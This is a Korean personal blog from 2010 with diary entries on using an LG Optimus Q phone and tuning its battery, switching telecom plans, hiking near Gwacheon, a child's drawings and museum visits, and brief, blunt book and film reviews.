2주일: 배터리 최적화를 잘 해 놓으니 한 시간에 배터리 게이지가 1~2% 정도 밖에 닳지 않았다. 출퇴근, 대략 1시간 40분 동안 블투 헤드셋으로 음악 들으며 웹질 하고 점심 먹으러 가는 길에 웹질 하고 전화 몇 통 하거나 받으면 저녁 퇴근 후 집에 도착할 때 즈음 약 50% 가량 배터리가 남았다. 반면 여러 종류의 게임을 돌리고 아내 휴대폰으로 블투로 프로그램 전송하고 나도 나름 웹질 따위를 했더니 세 시간 만에 100% -> 20% 로 금새 닳아 버렸다. 게임이 특히 쥐약.

SNS를 사용할 때 쿼티 자판의 편리함은 이루 말할 수가 없다. 주변에서 옵티머스Q를 산 대부분의 사람들이 가장 만족스러워 하는 부분이다.

2개월:  (2010-11-02 추가)
  • 약해보이던 베젤은 결국 어느 틈엔가 흠집이 났다. 휴대폰에 포함되어 있던 액정 보호지는 내구성이 약해 실금이 여럿 생겼다. 홈버튼과 LCD 사이의 틈으로 먼지가 들어가 홈 버튼의 클릭 감촉이 안 좋아 AS 센터에 한 번 갔다.
  • 주변 사람들에게 옵티머스Q를 사라고 적극적으로 권했다.
  • 한 달 내내 거의 무선랜을 사용하지 않았음에도 데이터 사용량이 첫 달 300MB, 둘째 달 600MB를 넘지 못했다.
  • 약 30개의 게임을 설치했지만 게임을 직접 한 적은 없고 아이에게 넘겨주면 혼자서 잘 논다.
  • GPS의 실측 사용시간은 대략 4~5시간 정도 되었다. 엔도몬도를 켜고 자전거 타고 약 100km 정도 돌아다니면 집에 도착했을 때 10% 가량 베터리가 남는다. 배터리는 여전히 많이 아쉬운 부분이다.
  • 수백 개의 어플을 거의 마구잡이 식으로 설치했다 지웠다를 반복했지만 메모리가 딱히 부족했던 적은 없었다.

배터리 최적화 (2010-09-29 추가)

설정->디스플레이 설정
      방향: 체크 안함
      애니메이션: 체크 안함
      조도 센서: 체크 안함
      밝기: 최저값(태양 아래에서는 아예 안보이는 지경)
설정->계정 및 동기화
      배경 데이터: 체크
      자동 동기화: 체크 안함

시스템 패널 앱에서 다음 앱 들은 kill할 때 exclude:
      LG 전자 입력기
      SetCPU
      도돌폰 사용량
      Endomondo
      Power Amp

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System Panel의 배터리 로그 보기 화면: 0시부터 아침까지 배터리가 충전되는 동안 Device Usage=0이고, CPU Activity=3% 내외가 되는 것을 불 수 있다. 오후 2시부터 8시 무렵까지 CPU Activity가 현저하게 떨어지는데, SetCPU에서 배터리 프로파일을 충전중이 아니고 LCD off일 때 CPU clock=235Mhz로 최대한 낮춰 놓았기 때문이다. 이때 배터리 소비량 역시 현저하게 줄어든다. --> 아무 것도 안 할 때는 적어도 50~200시간 가량 대기가 가능할 것으로 짐작된다.

유감스럽게도 시스템 패널이나 배터리 인디케이터 프로 등의 프로그램으로는 배터리 소비량과 앱, 센서 인터페이스의 전력 소비량의 상관 관계를 알아내기 어렵다. 이를테면 노키아 N5800의 Energy Profiler 같은 프로그램이 아직 없는 것 같다.

2010-10-26 펌웨어 업데이트 후 배터리 사용 시간이 눈에 띄게 늘었다.

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건강검진을 받았다. 작년에 직원들의 상당수가 재검을 받았다. 그래서 연달아 나흘 동안 술을 안 마시고나서 그 다음날 '깨끗한 몸'으로 건강검진을 받겠다고 연초에 마음 먹었는데, 그러다보니 거의 6개월이 밀렸다. 달리 말하자면 나흘 안에는 무슨 일이 있어도 술을 마셨던 셈. 주변의 술 좋아하는 40살 먹은 아저씨 아줌마들은 대부분 자기가 40살 먹었다는 자각이 별로 없다. 시간의 흐름에 무관심하다.

30언저리 어딘가에서 시간이 멎은 만 40 먹은 시한폭탄 같은 작자들에게 생애 전환기라고 위장 내시경 검진을 무료로 해준다. 내시경이 목구멍과 위장을 헤집고 들락거리니 기분이 이상하게 더러웠다. 3만원 더 내고 수면 내시경으로 신청하고 잠이나 잘 껄 그랬다. 그런데 옆 침상에서 수면내시경 하는 사람은 으웩 악 어억 커컥 크킥 등등  별별 이상한 소음을 다 내고 있었다. 수면내시경이 더 안 좋은 걸까?

의사가 뭔가 문제를 발견했는지 십이지장 입구에서 조직 샘플을 채취했다. 1주일치 염증치료용 약을 받았다. 나흘은 좀 적고 한 일주일은 술을 참고 갔어야 했다. 하지만 의사는 술은 펑펑 마셔도 괜찮은데, 담배는 피우지 말란다. 좋은 의사다.

란타나
문병 가던 길에 찍은 꽃. 애용하던 노키아 휴대폰으로 찍은 마지막 사진. 사진 찍으면 알아서 꽃 이름을 알려주는 앱이 있을까? 깻잎 꽃이 이렇게 예뻤나? 하고 깻잎에 관한 내 기억이 의심스러워 구글질해서 알아낸 이름은 '란타나'였다. 그건 그렇고 구글의 이미지 검색이 최근 들어 전보다 좋아졌지만, 아직 bing.com 보다는 떨어지는 것 같다.

인테크: 작년 LG 파워컴 가입 해서 1년 하고 나흘 넘게 사용했다. 당시 인터넷+070+IPTV 해서 부가세 포함 36520원, 여기에 2대의 휴대폰을 파워 투게더로 엮어 4000원 가량의 기본료를 할인받았다. SK 브로드& 광랜은 아파트에 설치가 안 되어 KT Qook으로 시도. 사은현금 26만원, 인터넷 + 070 + IPTV=35690원. 이전 파워컴 위약금이 약 11만원. 따라서 26-11-(35690-36520-4000)*12=10만원 차익.

사용하던 노키아 N5800은 중고로 팔았다. 세티즌 중고시장에 매물로 내놓고 딱 1분 만에 팔려 나갔다. IT 기기 중고 직거래 개인사상 처음으로 할머니에게 팔았다. mp3p로 쓰신단다. 네고 안 된다고 해도 막무가내로 5천원을 빼가셨다. 하여튼 이렇게 해서 19만원을 손에 쥐었다.

LG LU2300, 이상철폰 또는 옵티머스Q 오즈스마트 35요금, 할부원금 312000원, 가유, 채무, 부무 조건으로 1년 동안 매달 35000(부가세 포함 38500원)을 사용한다고 하고, 노키아 폰으로 사용하던 요금이 23000원(부가세 포함 25300원)이니까 (38500-25300)*12=158400원+새 휴대폰 분납 가입비 3만원 = 188400원 < 19만원이 되므로, 인테크로 통신업체 바꾸면서 추가 비용이 들지 않았다.

1년 후에 다시 인터넷을 교체할 것이다. 그러지 않는 사람이 바보가 되는 분위기를 통신 사업자들이 만들어 놓았다.

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장터 매복 7개월 만에 기다리던 안드로이드 폰을 산 셈이다. 9월 2일 주문해서 비가 주룩주룩 내리던 9월 3일 오후 늦게 도착했다. 주말에 놀기 바빠서 셋업할 시간이 없었다. 속도를 늦춰서 사용하려면 루팅을 해야 할 것 같다. 내가 뭘 잘못 본 건지 모르겠지만 아이폰 3GS보다 속도가 약간 더 빠른 것 같다. 옵티머스Q가 오타쿠폰이란 기사가 있다: 옵티머스 큐, '마니아폰'으로 뜨나 

이왕 하는 김에 아내 휴대폰을 스카이 이자르로 갈았다. 아내야 스마트폰에 관심없지만 5백만 화소에 DMB가 되고 가끔 인터넷과 지도를 보는 정도로 사용한다면 피처폰보다는 그래도 스마트폰이 낫다고 생각. 이자르를 만지작거리다보니 배터리 사용시간이 짧은 것과 DMB가 구린 것 빼곤 의외로 괜찮았다. 휴대폰 이름이 멋져서 혹시 파르시일까 해서 뒤져보니 아랍어다.

이자르의 무선랜 접속이 잘 안되어 최신 펌웨어로 업그레이드 했다. 900mAH 짜리 배터리로 하루 간신히 버틴다는 것이 결정적인 단점. 왜 이따위로 만들었는지는 의문.

인터넷+IPTV+070 비교:
* 인터넷: LG 100Mbps, KT 40~50MBps. 체감면에서도 LG쪽의 인터넷 품질이 낫다.
* IPTV: LG에는 PC 공유 디렉토리 연결해서 동영상을 재생할 수 있지만 KT에는 오직 VOD만 된다. VOD는 KT쪽이 더 많은 것 같다. 리모컨은 LG 것보다 KT 것이 사용하기 편하다.
* 070: 전화기는 대동소이

이전 작업:
내 휴대폰: Google Calendar Sync로 아웃룩 일정을 Google Calendar로 옮겼다. 컨택트는 마땅히 옮길 방법이 없어 gSyncIt을 사용하여 구글 이메일 컨택트로 옮겼다. 더 이상 귀찮아서 작업하지 않았지만 작업(todo)은 안 옮겨도 그만이다. 아쉬운 것은 메모인데, 구글 docs가 그 비슷한 역할을 하니까 GDocs로 때웠다.

아내 휴대폰: 이전 휴대폰용 어플리케이션을 실행해 주소록을 vcf 파일로 백업하고, 그것을 구글 email 계정의 contact로 옮겼다. 주소록 포맷을 KT 인터넷 전화기에 맞춰 편집한 엑셀 파일을 KT 인터넷폰 주소록에 올렸다. 인터넷폰에서 주소록 내려받기를 했다. 이자르와 인터넷 폰의 전화번호부는 이렇게 완료.

곤파스란 태풍이 불어닥친 날 새벽에 잠에서 깨었다. 창문이 심하게 웅웅 거린다. 먼저 깬 아내가 걱정스레 눈을 부비며 TV를 보고 있었다. 소음이 심하게 나는 창문을 단단히 걸어 잠궜다. 바람에 나무 허리가 이리저리 휘어지고 잎새를 통과하는 바람 소리가 마치 신음, 비명소리 처럼 들렸다.

9월 3일 술을 너무 마셔 다음 날 아침에 변기에 업드려 속을 비웠다. 어질어질 했지만 점심 도시락을 만들어 산행을 하려고 버스를 탔다. 아직 술이 덜 깬 탓인지 버스를 타니 속에서 올라올 것 같아 중간에 내렸다. 버스에서 내리니 참을만 했다. 수리산에 가려던 생각을 바꿔 인근 광교산으로 코스를 바꿨다. 날이 무척 더웠다. 폭염주의보가 발령되었지만 한낮 최고 기온은 31도 무렵이란다. 수리산은 능선코스라 직사광선을 피하기 어렵지만 광교산 코스는 대부분 산그늘이라서 쉽다. 사실상 산책 코스나 다름없다.

광교산, 곤파스
산길에서 죽은 나무와 풀 냄새가 났다. 이 정도는 약과다. 특히 동쪽 사면에 서 있던 무척 많은 수의 나무들이 두동강나거나 뿌리가 뽑혔다.

주먹밥
주먹밥 만들기 참 쉽다. 온기가 남아있는 밥에 냉장고에 있던 후리가케와 깨소금과 참기름 살짝 넣고 주물럭거려 어른 주먹만한 주먹밥을 만들었다. 놀러가는 아이들 것은 아이들 주먹보다 조금 더 크게 만들었다. 샌드위치는 햄, 치즈, 오이 저민 것, 양파 약간을 마요네즈와 캐첩만 발라 속으로 채워 넣었다. 그런데 이런 걸 과하게 술먹은 다음 날 먹으려니 무척 힘들었다. 생각없는 아내는 여전히 쌀에 현미를  섞어 밥을 지었다. 말귀를 못 알아들으니 갑갑하다 -- 현미건 보리밥이건 소화가 안되면 말짱 황이라니까!

600ml 가량의 물을 홀짝홀짝 마시면서 가다 쉬다를 반복했다. 3km쯤 걸으며 쉴 때마다 준비한 주먹밥을 야금야금 오래오래 씹어 삼켰다. 위속에서 소화되어 대사되는데 30분쯤 걸릴 것이다. 땀이 비오듯이 쏟아지지만, 몸 상태는 시간이 흐르면서 점점 나아졌다. 6km 정도만 걷고 집에 가서 자려던 생각을 바꿔 10 km 짜리 코스로 변경했다. 주먹밥이 다 떨어져 샌드위치를 먹었다.

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9/11. 아직 다리 힘이 약해서 평지만 달렸다. 곧잘 속력을 냈다.

7월 30일부터 국립현대미술관 어린이 미술관이 개관했다. 어린이 미술관 핑계로 애를 데려갔다.

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현대미술관엔 데이트할 때나 와봤다. 적어도 8년 전 얘기다. 이곳을 아이와 함께 오게 되다니! 현대 미술관 어린이미술관은 별 볼 일 없었다. 전시품은 애들이 만질 수 없게 가둬놨고 체험 활동은 동네 어린이집 수준이었다. 백남준의 달토끼를 기획의도로 삼았단다. 입구에 들어서 출구로 나갈 때까지, 큐레이터가 예산이 부족해서 이런 멍청한 기획을 한 건지, 애들과 인연이 없는 밋밋하고 한심한 삶에 환멸과 회의를 느낀 나머지 기획 끝내고 낼 모레 자가용에 연탄 피워 자살할 예정이라 대충 한 건지 잘 모르겠다. 궁시렁거리는 아빠와 달리 아이는 잘 놀았다.

어린이 미술관은 글렀고, 본격적으로 여섯 개의 전시실을 돌았다. 생각보다 좋은 작품들이 많았다. 6천원짜리 특별전도 마저 구경했다. 미술관 뒷길을 아이와 한가하게 거닐었다. 아내에게 줄 문진을 샀다. 즐거운 하루였다.

애가 그림을 언제 그리기 시작했는지 잘 모르겠지만('돼지는 농부가 키우고 아이는 아내가 키운다'는 말을 언젠가 들었다) 그 동안 찍은 사진을 뒤적여 발달 과정을 정리했다.

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2009/8/18 (30개월) 물 속에 사는 고래. 신경계가 미발달해서 직선이나 곡선을 그리지 못한다.

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2010/4/7 (45개월) 언젠가 도화지에서 화이트보드로 변경. 문어인지 인간인지...

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2010/4/27 (45개월) 원, 삼각형 등을 그릴 수 있게 되었다.

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2010/5/8 (46개월) 집, 나무, 아파트, 식물 따위를 그림. 이때쯤 되면 그림이 있는 사진들을 도화지에 오려 붙여 스토리를 구성해서 설명해 보라고 교육하는 듯.

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2010/7/17 (48개월) 아빠. 팔을 머리에 갖다 붙였다는 것을 본인이 스스로 자각하고 있음.

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2010/8/5 (48개월) 빠르게 발전. 주제는 여전히 가족의 '존재'

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2010/08/10 (48개월) 유아에게 색칠을 시키면 어김없이 무지개색 평면이 나온다.

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2010/8/28 (49개월) 한 달 새에 다시 진전.

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2010/08/28 (49개월) - 그림에 스토리가 생겼다. '아빠가 가방 들고 산에 가서 그곳에 사는 뱀을 만났다.' 아빠는 그날 산에 가서 몹시 고생 했다.

어린이집에서 아이한테 공부를 너무 많이 시킨다며 아내가 9월부터 어린이집에 보내지 않겠단다.

제 애비가 하고 싶은대로 하다가 아이가 원치 않는데도 애비처럼 독고다이가 될까 봐 골똘이 생각했다. 그래서 여태 어린이집에 부러 보냈는데...  곰곰히 내 다섯살 때를 생각해보니 애들 틈에 거치해둔다고 사회적이 되는 것은 아닌 것 같다. 당시에 나는 무척 사교적이고 비민주적이고 사회적이었지만, 몇 년 지나지 않아 사회질이 금방 시들해졌고  대신  재테크에 도움이 안되는 시시한 관심꺼리에 심취했다.  게다가 네 아빠는 사춘기 때 물론 부모말 안 듣고 집 나가길 밥먹듯이 하고 학교에 잘 안 갔고 학교 공부'만' 등한시 했으니 아이가 자라서 평범한 또라이 십대가 된다 해도 뭐라 말할 건덕지가 없다. 게다가 몹시 행복했다.

아내 말대로 했다. 돼지는 농부가 키우고 아이는 아내가 키운다.

찰리 휴스턴, 통제불능: 주인공이 바보같아서인지 전편보다 재미가 덜 하다. 그러고보니 수키 스택하우스 시리즈 첫 권 번역판 역자 해설에 뱀파이어물에 관한 분류가 적혀있던 기억이 난다. 드라마를 먼저 본 탓인지 그 책은 재미가 없었다. 휴스턴의 소설은 뱀파이어, 좀비, 늑대인간, 초능력자, 미친 과학자를 다루는 장르소설이다보니 늘 끼니를 때우듯이 기계적으로 먹고 있는 것이 아닌가 싶었다.

세스 그레이엄 스미스, 오만과 편견, 그리고 좀비: 개그물. 읽으면서 낄낄거렸다. 엘리자베스의 아버지가 그녀에게 한 말:
"그래, 리지. 네 언니가 실연을 당했다지. 축하해야겠구나. 아가씨들이 결혼 다음으로 좋아하는 게 이따끔 실연 당하는 거니까. 생각할 꺼리도 되고 친구들 사이에서 좀 튀어 보일 수도 있고 말이야."
실연도 안 당해 본 여자를 여자라고 할 수 있을까?

Planet 51
Planet 51. 이렇게 재미없는 애니가 다 있었나 싶었다.

Salt
Salt. 여배우 빼고 볼 게 없는 짝퉁 본 시리즈. 감독이나 등장인물들이 정말 이야기를 싫어하는 눈치였다.

Shutter Island. 대사가 잘 기억나지 않지만 '괴물로 장수하기 보단 착하게 죽고 싶다'고 말한 것 같다. 멍청하고 행복하게 사느니 알 것 다 알고 괴롭게 자살하겠다는 말도 있다. 음악이 하나도 안 들렸다. 화면이 좋았다. 배우가 괜찮았다.

Hurt Locker
Hurt Locker. 한 달여에 걸쳐 한 번에 10분씩 봤다.  오늘 새벽에는 이 장면이 나오는 부분부터 볼 생각.


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잡기 2010. 9. 3. 00:44
며칠 전부터 '두샨베'란 단어가 머리에 맴돌았다. 찾아보니 타지키스탄의 수도였다. 하루 정도면 더 볼 것도 없는 조그만 도시 이름이 착착 입에 감긴다. 무의식은 웹 크롤러처럼 이상한 단어들을 긁어모으며 여기저기 돌아다녀 왔다. 어쩌면 내가 생각하는 것보다 훨씬 더 복잡할 지도 모르겠다. 덕택에 타지키스탄의 경제 사정도 알게 되었고 초거대 항성도 알았지만.

오랜 시간 기다려왔지만 블로그에서 사용하는 Textcube의 버전업이 생각보다 느리게 진행되고 있다. 텍스트큐브 소갯글에서 이 문구를 보았다;  Omnis mundi creatura quasi liber et pictura nobis est, et speculum -- 세상의 모든 창조물은 우리에게 책이자 그림이자 거울이다. -- 세상의 모든 창조물 거의 대부분이 지저분한 패치워크일 수도 있다는 뜻으로 해석. 무언가 새로운 걸 만드는 사람들에게 별다른 감정을 느껴본 적이 없었다. 못했다, 잘했다, 되게 잘했다 정도의 rating만 하고 시간이 지나면 자연스럽게 잊어버리고 평소의 시시한 삶로 돌아갔던 것 같은데?

자비심 부족한 문화예술 애호가, 범고래 영화 취향 -- 테스트 결과:  '좋다는 영화보다 싫다는 영화가 더 많은 편으로, 거장의 작품이라도 자기 기준에 부합하지 않으면 가차없이 욕을 하는 오만방자한 취향'. 질문 몇 가지로 뭘 아는 척하는 바보스런 설문이지만, 과한 자신감에 행성만한 자아를 지니고 있어 세상의 온갖 창조물 중 다수가 구미에 맞지 않아 히치하이커에 등장하는 녹색 외계인처럼 평소 입에 욕을 달고 사는 것은 맞다.

예: 교통사고 사망자는 하루 16명인데, 자살자 수는 하루에 35명이란다. 어떤 시인은 '죽음은 시공으로부터의 속박에서 벗어난 자유'라고 말했다. 내 오만방자한 견해 및 감정: @#$%$!!

이론의 여지없이 인간의 감정과 지능은 전적으로 생존을 위해 프로그램된 것이다. 사랑할 수 없는 자,  타인의 마음을 헤아릴 수 없는 자는 생존경쟁에서 도태되었어야 하지만 적은 수라도 쏘시오패스와 싸이코패스는 의외로 잘 먹고 또 열심히 잘 살았다. 인간 사회가 병들었다는 증거일까? 그들의 삶은 눈에 띄는 확률, 가능성 높은 우연일 뿐이다.

담배 피우다가 제일 캥기는게 아이가 지나가는 것이다. 그럴 때는 옆으로 슥 비켜 갔다. 담배를 빨지 않았다 -- 입으로 담배를 빨아서 내뱉어야 풍부한 유독가스가 나온다. 며칠 전 퇴근길에서 담배로 적자생존 생태계는 구성할 수 없겠구나 생각했다. 진화가 확률적으로(또는 관찰되기에) 적자가 생존하는 것처럼 보일지라도 100중 20은 적자가 아닌 운에 의해 생존하는 것일 수도 있다. 진화가 그렇고 사는게 그렇지 뭐.

담배값을 8천원으로 올린다던가, 통일세를 걷는다던가, 나라가 궁상스러워지니 국민을 이리저리 흔들어대며 '괴롭힌다'. 정부 및 정부 수반이 이런 기본적인 사실을 모를 리 없다고 생각했다; 담배값이 올라 담배를 적게 피우면 -> 국민의 평균 수명이 늘어나므로 -> 노인 요양 비용이 증가하고 -> 따라서 건강보험료 부담과 국민연금 부담액이 늘어날 수 있다 . 농담.

옛날에 김부선은 대마초는 마약이 아니라 한약재라고 말했다. 무척 참신했다. 그럼 담배는? 세금 수거용 공인 독극물? 언젠가 종교인 여자와 사귀다가 헤어진 조씨가 이렇게 말했다; 독 중에 가장 지독한 독은 기독이래요. 기독교의 기독이요. 담배만 아니면 되지 싶다.

9월 첫 포스팅. '인간은 변하지 않는다, 조건이 변할 뿐' -- 드문 경우겠지만 조건이 갖잖아 보일 수도 있겠다. 5개월 전 어느 날, 자전거를 타고 집으로 돌아오는 길에 여늬 평범한 쏘시오패스처럼 '열심히 살아야겠다'고 중얼거렸다. 그렇게 했다.

마이크로소프트의 제품 설명에서 문득 '바탕화면의 중요성을 모르는 사람은 없을 것이다'란 문구를  보고 301장의 풍경사진을 모아 450MB 짜리 바탕화면 테마를 만들어서 집과 사무실 컴퓨터에 설치했다.  음... 테이트나 구겐하임, 루부르의 작품들을 모아 통째로 테마로 만들어 돌릴까? 나라면 가능하다. 삽질의 대가인데다 비상식적으로 열심히 살고 있는 상태라서.

인간은 변한다.

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8/14 비오는 날 놀러가서 팬션에만 틀어박혀 있었다. 건너편에 덕유산이 보이고, 그 건너편 저 멀리 지리산이 있다. 그 시각에 지리산 종주한다고 비를 맞으며 고생 중인 친구가 문득 생각나 전화했다. 잘 살아있다.  전북, 전남, 제주에는 호우주의보가 내렸다.

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술 마시다가 맛이 갔고 아침에는 비가 내린 개울가에 발 담그고 세수했다.
딸애가 나보다 잠자리를 잘 잡았다. 그것도 맨 손으로. 무주구천동엔 세 번째 왔다. 한 번도 '관광'이란 걸 못했다. 술 먹다가 하루가 가고, 이틀이 가고, 그러고 다음 날 덜 깬 정신으로 버스를 기다리며 잠자리나 잡고. 이게 팔자인가?

낙원의 이방인
딸애와 미술관에 들렀다. '낙원의 이방인'이란 전시회였다. 어디든 지금과 다른 곳에서 평안을 느낀다면... 고향을 떠나 행복해진 이방인이겠지.

낙원의 이방인
재밌고 웃기는 작품들이 많았다. 딸애는 시키지도 않았는데 예쁜 짓이라며 자기 얼굴에 손으로 꽃받침을 만들었다. 그래봤자다. 하지만 자기가 좋아하는 그림 앞에서 포즈를 취하고 사진을 찍는게 내 딴엔 흡족하다. 취향의 탄생이다.

낙원의 이방인
산차이 짝퉁 같은 낸시 랭처럼 강아지 인형을 옆구리에 끼고 있는 아빠의 얼굴은 이렇게 반사경에만 비치는 것 같은데? -- 아이는 늘 엄마, 아빠가 빠진 독사진을 찍었다. 그런데 네 아빠는 뼈 빠지게 돈 버는 취향은 아니야, 아참. 사내는 핑크다.

낙원의 이방인
이 작품을 어디서 본 기억이 나는데? 화살 맞고도 부조리한 표정을 짓고 있는 곰돌이. 곰돌이는 귀여워야 하니까 늘 그 자세를 잃지 않아야 한다. 죽음 따위야 뭐 영생을 누리는 이마고보다 덜 중요하고.

8/21, 서울/경기도 지역에 폭염경보, 폭염주의보가 내렸다. 몇 주전 비슷한 폭염 속에서 자전거를 타던 날, 내가 더위에 약해 빌빌댄 것인지 아니면 체력이 떨어져 힘을 못 쓴 것인지 확인하고 싶어 이번에는 비슷한 조건에서 산행을 하자고 마음먹었다. 하루중 가장 더운 때에 8봉 능선을 거쳐 6봉 능선쪽으로 내려오기로. 기온은 34도, 햇볕은 살인적으로 번쩍였다.

8봉 능선을 지나 육봉 능선으로 들어가는 갈림길 역할을 하는 국기봉에서 더위에 퍼졌다. 능선 그늘에 앉아 쉴 때 불어오는 바람의 기온이 30도였다. 국기봉 꼭대기에서 꾸벅꾸벅 졸고 있는 할머니한테 아이스크림을 하나 사 먹었다. GPSr 화면을 보며 고민 좀 하다가 6봉 코스의 중간 지점부터 능선을 내려 가기로 했다. 체력이 다해 다리가 후들거려 3봉의 가파른 경사로를 내려갈 자신이 없었다.

바보짓을 한 것 같다. 봉우리마다 있을 우회로를 타고 그냥 편하게 내려올껄 괜히 중간에 내려온답시고 옆으로 새서 길을 잃고 헤멨다. GPSr을 보았더라면 쉽게 찾았을텐데, 맞는 길인줄 모르고 오르락 내리락 반복했다. 그러다가 갑갑해서 등고선만 보고 등산로를 벗어나 내려갔다. 지칠대로 지쳐 시냇물에서 좀 쉬어가자는 심산이었다. 다행히 멀리서 물 흐르는 소리가 들렸다. 길이 없고 인적은 느껴지지 않았다. 훌훌 옷을 벗고 발가벗은 채 물웅덩이에 들어가 15분쯤 냉탕을 하니 살 것 같다. 천국이 따로 없다. 옷에서 물기를 짜내어 다시 입었다. 갑자기 기운이 나서 과천역까지 쉬지 않고 걸었다.

10.8km  걸었다. 시장에 들러 맥주와 과일을 샀다. 집에 와서 맥주에 파닭을 시켜먹고 퍼졌다. 땡볕 아래서 손으로 만지기만 해도 따가운 암벽을 기어 오르내리느라 사지를 다 썼더니  그간 녹슬었던 온 몸의 근육이 신음했다. 그 때문에 잠을 설쳤다. 더위 먹어 빌빌거리고 필요한 때 필요한 근육은 없으면서 1년 전보다 체중이 2kg나 늘었다. 그야말로 저질체력이다. -_-

Merida Dakar 616
딸애 자전거를 샀다. 이번에는 어린이집에서 배운, '멋있는 포즈'란다. 코스터 브레이크가 달린 자전거를 사려니 선택의 여지가 별로 없었다(그냥 이베이에서 살 껄 그랬나?). Merida의 Dakar 616을 이십만 백원 주고 샀다. 핸들에 꽃술도 안 달렸고, 짐칸도 없고 핸들바에 장착하는 바구니도 없는 밋밋한  9.6kg짜리 유아용 알루미늄 프레임 MTB다. 다리 힘이 없어 평지에서 꾸역꾸역 지렁이처럼 기어가는 수준이다.  밥 많이 먹고 힘쎄져야 자전거를 잘 몰 수 있다는 핑계로 밥을 먹일 수 있을 것 같다. 자전거는 친지들의 각종 찬조금과 아이가 꾸준히 돼지저금통에 모아놓은 상당량의 동전으로 샀다.

빈 저금통을 다시 샀다.

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8/28 흐리고 간간히 비. 관악산에 다시 올라갔다. 저번 주와 같은 코스. 집을 나서는데 아내가 '괜히 없는 길 만들면서 다니지 말라'고 말해 캥겼다. 안 그래도 산을 타면 상처가 많이 생겼다.

넋 놓고 걷다가 무너미 고개 부근에서 길을 잘못 들어 8봉 능선 왕관바위로 오르는 길을 놓쳤다. 되돌아가긴 귀찮고 등고선을 보고 그냥 등산로를 개척했다. 비가 온 탓에 바스라진 나뭇검댕이 옷 여기 저기 묻고 잔가지가 드러난 살갗을 사정없이 할켰다.

버섯이 듬성듬성 돋아난 나뭇그늘을 지나 푹푹 빠지는 낙엽을 밟고 가시나무와 거미줄을 헤치고 손가락, 발가락 끝으로 바위에 매달리며 땀을 뻘뻘 흘리면서 간신히 200여 미터를 기어 올라 능선에 오르니 시원한 비바람이 불었다. 몰골이 말이 아니지만 젖은 바위에 앉아 아침에 만든 점심을 먹었다 -- 아내와 아이 아침밥을 차려주고 둘의 점심을 만들어주고 내 점심도 챙겼다. 계곡에서 물안개가 피어오르다 흩어졌다. 비가 내려 허겁지겁 밥을 먹어 치웠다.

문원 폭포
문원 폭포. 오후 다섯시 무렵. 비가 와서인지 이 코스로 산행하는 사람이 눈에 띄지 않는다. 아무도 없는 틈에 폭포에 몸을 담그고 씻었다. 더러워진 옷을 빨았다. 저번 주에는 더위에 지쳐 개고생 했는데 이번에는 룰루랄라 편하게 산행을 즐겼다.

가는 길 내내 귓가에는 베토벤의 여러 교향곡이 줄기차게 흘러 나왔다. 마지막으로  Adiemus의 앨범 Vocalize를 들었다. 베토벤의 바이올린 콘체르토를 편곡한 것과 7번 교향곡을 편곡한 것도 있어 이번 산행은 거의 100% 베토벤과 함께 오른 셈이다. 베토벤의, 9번을 제외한 여러 교향곡을 벤치마크한 결과, 노다메 칸타빌레로 많은 인기를 끌었던 7번 교향곡이 산행할 때 가장 적합한 것 같다. 하이킹할 때는 6번 교향곡이 발걸음에 딱딱 들어 맞지만, 능선에서 하늘과 땅을 보며 걸을 때나 비에 젖은 바위에 지이익 미끄러질 때는 경쾌한 임펙트와 스윙감 있는 7번이 알맞았다.

과천은 복받은 도시다. 청계산과 관악산, 그리고 그 사이에 있는 무수한 계곡들은 접근성이 매우 좋아 언제고 찾아가 놀고 즐기기 편해 보였다. 과천 시내에 들어서자 곳곳에서 비를 맞고 있는 너덜너덜한 플랭카드가 보였다 -- 정부청사의 세종시 이전에 대한 대책 마련을 호소하고 있었다. 공무원들이 빠져 나가면 과천이 삼류 도시가 되는 걸까? 집값 비싸고 여전히 생활 여건은 좋아 보이는데? 비 맞고, 푹 젖은 옷을 입은 채 돌아오는 버스에서 차가운 에어컨 바람을 쐬니 몸이 덜덜 떨렸다.

하늘의 물레, 우르술라 르귄:  딱히 재미는 없었던 그냥 '르귄표'. 이렇게 말할 수도 있겠다: 같은 소재를 다룬 적이 있는 젤라즈니와 어쩔 수 없이 비교가 된다. 이 글은 공감각 뿐만 아니라 비주얼이 너무 약하다. 인용:
역병이 누구러든 지 겨우 10년 만에, 결딴났던 인류문명은 불사조처럼 다시 일어서 지구 궤도로, 달로, 화성으로 향했다. 그리고 이들을 만났다. 형태 없고 말 없고 분별없는 만행을, 우주의 어리석은 증오를.

그는 차로 돌아가는 그녀의 뒤쪽에 손전등을 비추어 주었다. 개천이 소리쳐 대고, 나무들은 말없이 늘어져 있고, 하늘에서는 달이 노려 보고 있었다. 외계인의 달이.
불가능은 없다 Physics of the Impossible, 미치오 가쿠: 오랫만에 가볍고 즐거운 마음으로 읽은 책. 저자는 기대를 져버리지 않았다. SF를 좋아하는 작가가 SF 소재로써 자주 등장하는 불가능을 3단계로 분류한 솜씨가 몹시 좋았다. 인용:
새로 발견된 과학적 진실은 반대론자들을 설득하여 깨닫게 함으로써 성공을 거두는 것이 아니라, 반대론자들이 모두 죽은 후  새로운 진실에 익숙한 신세대가 과학을 이어받았을 때 비로소 성공을 거둘 수 있다.
수구꼴통이 다 죽어야 세상이 바뀐다는 뜻이다.
물체복사기가 기적의 도구 임에는 틀림없지만, 사실 자연에는 이와 같은 기적이 이미 진행되고 있다. 고기와 야채를 9개월 동안 꾸준하게 공급하면 하나의 생명이 만들어지지 않는가! 생명이란 원자 규모에서 물질을 생체조직으로 변환시키는 천연 나노공장의 산물이다.
이렇듯이 미치오 가쿠는 고기와 야채같은 열정과 지성은 물론, 여제자들에게 사랑받을 귀여움까지 두루 갖추고 있다.
앞으로 생명체는 은하 전체, 또는 그 이상의 영역으로 퍼져나갈 것이다. 오늘날 생명체는 우주를 오염시키는 사소한 존재에 불과하지만, 앞으로 영원히 그런 존재로 남지는 않을 것이다. 이렇게 생각해야 마음이 편하다 -- Astronomer Royal Sir Martin Rees
그거 참 위안이 된다.
플라톤은 다음과 같이 적어놓았다. "타인의 눈에 보이지 않게 된 사람은 남의 집에 침입하여 물건을 훔치고, 개인적인 원한으로 사람을 죽이고, 감옥에 있는 사람을 마음대로 풀어주는 등 방종한 행동을 할 수 밖에 없다. 투명인간이 되었는데도 이런 짓을 하지 않는 사람이 있다면, 사람들은 그를 불쌍한 얼간이라며 놀릴 것이다.
